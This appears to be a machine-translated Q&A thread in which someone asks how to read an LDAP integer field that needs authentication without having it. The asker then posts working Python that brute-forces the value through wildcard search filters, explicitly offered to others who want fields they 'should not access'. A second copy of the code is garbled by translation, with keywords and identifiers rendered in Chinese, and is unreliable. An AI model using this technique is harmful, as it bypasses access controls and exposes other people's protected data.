从python对ldap中不可接受数据字段的二进制搜索

从python对ldap中不可接受数据字段的二进制搜索,python,ldap,Python,Ldap,我对复制一个特定的python脚本感兴趣 我有一个朋友正在访问ldap数据库,没有身份验证。有一个特殊的感兴趣的字段,我们将其称为nin(一个整数)以供参考,如果没有适当的身份验证,这个字段是无法访问的。然而,我的朋友通过对数据进行某种二进制搜索(而不仅仅是循环整数)来访问这个字段;他会检查第一个数字,检查它是否大于或小于起始值,他会增加它,直到它返回一个表示存在的真值,添加数字并继续检查,直到找到整数nin的确切值 你知道他是怎么做的吗?我可以访问类似设置的数据库。您最好的选择是获得访问该字段

我对复制一个特定的python脚本感兴趣

我有一个朋友正在访问ldap数据库,没有身份验证。有一个特殊的感兴趣的字段,我们将其称为nin(一个整数)以供参考,如果没有适当的身份验证,这个字段是无法访问的。然而,我的朋友通过对数据进行某种二进制搜索(而不仅仅是循环整数)来访问这个字段;他会检查第一个数字,检查它是否大于或小于起始值,他会增加它,直到它返回一个表示存在的真值,添加数字并继续检查,直到找到整数nin的确切值


你知道他是怎么做的吗?我可以访问类似设置的数据库。

您最好的选择是获得访问该字段的授权。否则,您将绕过数据库的安全性。

解决了这个问题。我只需要在(&(cn=My name)(nin=guess*)上进行筛选,并设法进行筛选,直到它返回正确的结果

如果其他任何人需要查找他们不应该访问的字段,但可以检查结果并知道其名称,则代码如下

def lookup(self, username="", guess=0,verbose=0):
        guin = guess
        result_set = []
        varsearch = "(&(name=" + str(username) + ")(" + "nin" + "=" + str(guin) + "*))"
        result_id = self.l.search("", ldap.SCOPE_SUBTREE, varsearch, ["nin"])
        while True:
            try:
                result_type, result_data = self.l.result(result_id, 0, 5.0)
                if (result_data == []):
                    break
                else:
                    if result_type == ldap.RES_SEARCH_ENTRY:
                        result_set.append(result_data)
            except ldap.TIMEOUT:
                return {"name": username}
        if len(result_set) == 0:
            return self.lookup(username, guin + 1,verbose)
        else:
            if guess < 1000000:
                return self.lookup(username, guess * 10,verbose)
            else:
                if verbose==1:
                    print "Bingo!",
                return str(guess)
def查找(self,username=”“,guess=0,verbose=0):
猜
结果_集=[]
varsearch=“(&(name=“+str(username)+”(“+nin”+”=“+str(guin)+”*)”
result\u id=self.l.search(“”,ldap.SCOPE\u子树,varsearch,[“nin”])
尽管如此:
尝试:
结果类型,结果数据=self.l.result(结果id,0,5.0)
如果(结果数据==[]):
打破
其他:
如果result\u type==ldap.RES\u SEARCH\u条目:
结果集。追加(结果数据)
ldap.TIMEOUT除外:
返回{“名称”:用户名}
如果len(结果集)==0:
返回self.lookup(用户名,guin+1,详细)
其他:
如果猜测小于1000000:
返回self.lookup(用户名,guess*10,详细)
其他:
如果verbose==1:
打印“宾果!”,
返回str(猜测)

这是一种简单的方法。但是,该字段在没有适当授权的情况下是可以访问的,我正在尝试复制该字段并了解那里发生了什么,而我无法访问他编写的脚本来实现这一点。这不是二进制搜索,但解析该字段所需的时间足够少,因此无关紧要。这些e由用户提交的查询,而不是脚本,因此,当加载带有表单的网页所需的时间与搜索数据所需的时间一样长时,尝试和优化就没有意义了。